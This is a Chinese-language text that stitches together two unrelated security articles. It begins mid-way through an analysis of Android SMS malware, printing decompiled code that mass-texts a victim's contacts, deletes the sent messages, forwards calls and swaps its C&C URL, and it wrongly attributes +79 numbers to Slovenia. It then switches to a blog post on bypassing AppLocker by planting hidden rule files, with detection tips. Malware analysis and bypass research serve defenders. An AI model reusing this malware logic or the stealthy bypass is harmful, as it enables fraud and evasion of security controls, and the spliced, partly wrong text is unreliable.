                    recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1"));
                    if (recipientPhoneNumber != null) {
                        sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
                    }
                }
            }
        }
    }
    break;

首先,手机设置为将收到的任何调用转发到号码+79009999999。前缀+79的号码属于斯洛文尼亚。之后,从命令中检索短信的正文。使用两个查询,查询手机的所有联系人,上限为29(因为我从1开始而不是0)。然后,这些联系人都收到一条短信,其中包含在命令中定义的正文。之后,将该正文从手机上发送的消息中删除。

NEW_URL

使用此命令,可以在设置中更改C&C服务器的URL。命令中URL的名称等于text。进行完整性检查以查看URL是否超过10个字符。规范的HTTP协议(http://)的和两个字符的顶级域(即.nl)等于10个字符。

由于最小的URL是11个字符,因此这个恶意工具允许这样做。由于手机尚未在新的C&C服务器上注册,因此inst设置为1。代码如下所示:

case "new_url":
    String url = commandJson.optString("text");
    if (url.length() > 10) {
        sharedPreferenceEditor.putString("url", url).commit();
        sharedPreferenceEditor.putString("inst", "1").commit();
    }
    break;

类的重命名

基于这两个函数中的信息,该类通过将命令(字符串)与已知命令列表进行比较,然后调用正确的类来执行请求的操作,从而处理给定的命令。因此,该类被命名为CommandHandler。

TelephonyManagerWrapper2

TelephonyManagerWrapper2的代码如下所示:

public static void removeSentMessages(Context context, String body, String numberTo) {
    try {
        Uri parse = Uri.parse("content://sms/inbox");
        Cursor query = context.getContentResolver().query(parse, new String[]{"_id", "thread_id", "person", "date", "body"}, null, null, null);
        if (query == null) {
            return;
        }
        if (query.moveToFirst()) {
            do {
                long firstMessage = query.getLong(0);
                String thread_id = query.getString(2);
                if (body.equals(query.getString(5))) {
                    if (thread_id.equals(numberTo)) {
                        context.getContentResolver().delete(Uri.parse("content://sms/" + firstMessage), null, null);
                    }
                }
            } while (query.moveToNext());
        }
    } catch (Throwable th) {
    }}

如果电话号码和短信正文都是作为函数参数提供的,则发送到收件人号码的所有短信都将从手机中被删除。

callPhoneNumber函数的代码如下所示:

public final void callPhoneNumber(Context context, String phoneNumber) {
    ((TelephonyManager) context.getSystemService("phone")).listen(new q(this, context, (byte) 0), 32);
    Intent intent = new Intent("android.intent.action.Call");
    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    intent.setData(Uri.fromParts("tel", phoneNumber, "#"));
    context.startActivity(intent);}

调用在此函数中作为参数提供的手机号码,名为q的类是PhoneStateListener类的包装工具,如下所示。

final class q extends PhoneStateListener {
    Context context;
    final TelephonyManagerWrapper2 telephonyManagerWrapper2;     private q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context) {
        this.telephonyManagerWrapper2 = telephonyManagerWrapper2;
        this.context = context;
    } 
    q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context, byte b) {
        this(telephonyManagerWrapper2, context);
    }     public final void onCallStateChanged(int i, String str) {
    }}

因此,可以将其重构为PhoneStateListenerWrapper。

总结

总之,该恶意软件中的所有类都被发现、分析和重构了。这也是我们能详细介绍它的内部命令和工作原理的基础,在最后检查Manifest文件时,所有类都已重构。

我认为,如果你是启用了AppLocker(“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能)的主机上的管理员,那么目前有两种不同技术可以用来绕过AppLocker。其中,使用GUI的第一种技术在我原先发布的一条推文中曾简单讨论过。

这篇文章的目标是详细讨论这个曾经提到的技术,同时也为你提供另一种以前没有人提到过的绕过技术。

需要注意的是,在这些绕过技术示例中,集中定义的AppLocker可执行如下规则(默认规则,没有管理规则)。

1.png

其余的规则,则使用默认的AppLocker规则定义(* under Windows 以及 * under ProgramFiles)。

使用GUI方式添加自定义规则

如果你是主机上的本地管理员,则你可以顺利地添加自定义规则,基本不会遇到什么困难。有两种方法可以做到这一点,其中GUI是在主机上启动gpedit.msc并添加它们,就像在此GIF中所示的那样。

利用该方法,你要做的就是在该主机上本地添加AppLocker规则。当AppLocker应用规则时,它会将中央组策略中定义的规则与主机上本地策略中定义的规则结合起来。不过,这种结合的效果并不理想,所以我建议你可以考虑一下添加此项来删除任何添加的本地规则。

在不使用GUI的方式下,添加自定义的规则

现在要介绍的这种方法非常隐蔽,由于使用GUI方式并不是唯一一种选择,特别是当你使用shell时。所以这里我将介绍另一种方法:当AppLocker(应用程序标识服务)处理组策略时,它将“AppLocker规则”文件放在c:\windows\system32\ AppLocker中。当你执行文件时,AppLocker将使用这些文件来确定是否应该阻止这些文件。

另一种方法是在c:\windows\system32\ AppLocker中操作AppLocker放在磁盘上的文件。为了做到这一点,我们首先需要生成一个通配符规则,稍后我们将把它植入我们要进行攻击的设备中,这个GIF就显示了整个过程。

所以我要做的基本上只是在一台独立的Windows 10企业计算机上预先创建一个规则文件,如果你不想自己生成规则文件,可以在这里下载。

现在,我们就得到了规则文件,让我们继续将其移植到受保护的客户端上(记住,你需要是管理员)。为此,你还需要重新启动客户端。目前,我还没有找到一种神奇的服务,可以让它在不启动的情况下停止并开始工作。你需要做的就是复制Exe.AppLocker文件并替换c:\windows\system32\applocker 中的文件,然后重新启动,这个GIF就显示了整个过程。

对于攻击者来说,这样做的好处是它不会出现在客户端的GUI中,所以你必须手动检查c:\windows\system32\applocker下的文件来找到它。

一旦执行GPUpdate/Force或者有人更改了中央组策略(添加或删除AppLocker规则),你所放置的文件就会被替换。

在我写完这篇博客后,我还意识到你也可以删除规则文件,从而达到相同的效果,但是如果你是覆盖规则文件而不是删除规则文件,则可能会更难检测到。

如果你需要在每次更新组策略时都重新应用组策略,那么你可以看看这篇关于如何停止这种行为的博客文章

如何监测这种绕过行为

如果你监测c:\windows\system32\applocker下文件的更改,可以检测到这一情况。据我所知,只有在组策略集中更改或使用gpedit添加自己的本地规则时,才会更新这些文件。另外,这些文件上的时间戳也应该相同。如果有变化,它可能表明有人在那里放置了一个文件来绕过AppLocker。另一个迹象是,这些文件有一部分会被删除。